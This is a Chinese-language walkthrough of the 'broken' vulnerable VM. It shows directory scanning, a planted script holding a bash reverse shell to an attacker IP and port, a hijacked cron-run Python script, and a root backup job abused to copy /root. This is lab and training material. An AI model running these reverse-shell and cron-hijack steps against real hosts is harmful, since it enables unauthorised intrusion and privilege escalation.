broken靶机（计划任务提权）

环境准备

靶机链接：百度网盘 请输入提取码

提取码：a1bb

虚拟机网络链接模式：桥接模式

攻击机系统：kali linux 2021.1

信息收集

1.探测目标靶机

2.探测目标靶机开放端口和相应服务

3.gobuster dir -u http://192.168.1.108 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -e

扫描目录，发现些信息

漏洞利用

1.查看网页

2.对cms目录进行扫描，发现有一个cc,访问查看

gobuster dir -u http://192.168.1.108/cms \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -e

3.这里大概就是从本地拿一个文件的意思

GET /fb35519d63b892c0dcd1d527a983774f.sh

4.本地创建一个它要的文件，并写入反弹sell的命令

touch fb35519d63b892c0dcd1d527a983774f.sh

echo 'bash -c "bash -i >& /dev/tcp/192.168.1.106/4444 0>&1"' > fb35519d63b892c0dcd1d527a983774f.sh

5.反弹成功之后，查看家目录下的alice用户，发现script目录是一个满权限的文件夹

6.查看里面的信息后，看下log.py这个脚本

7.发现clear.log会每分钟开头执行一次

8.看源码分析，每分钟都会清理日志的意思，他会调用log.py

9.虽然可以利用，但是他这个脚本只能看，不能改，然而之前的script文件夹可是满权限，那么就可以让这个log.py文件改名，让我们自己写的脚本变为log.py

进行回弹shell操作

10.本地把脚本写好（谷歌python reverse shell 修改ip就行）

11.用wget上车上来，同时设置监听

权限提升

1.反弹shell成功后，看到一个backup（备份）文件夹

2.查看note.txt,大概就是告诉alice网站被黑客攻击了，让它备份到path.txt

3.查看path.txt啥也没有，退到根目录下（/和~不是一个目录）查看到一个backup.py的脚本

4.没有可利用的了 ，上传本地脚本pspy64(github里有)发现一个进程，是root执行的进程。

5.这个root下面也有一个backup.py 应该是一样的脚本，根据前面的脚本信息，把/root写入path.txt就能把root目录给复制一份

6.最终拿到flag,成功拿下！！！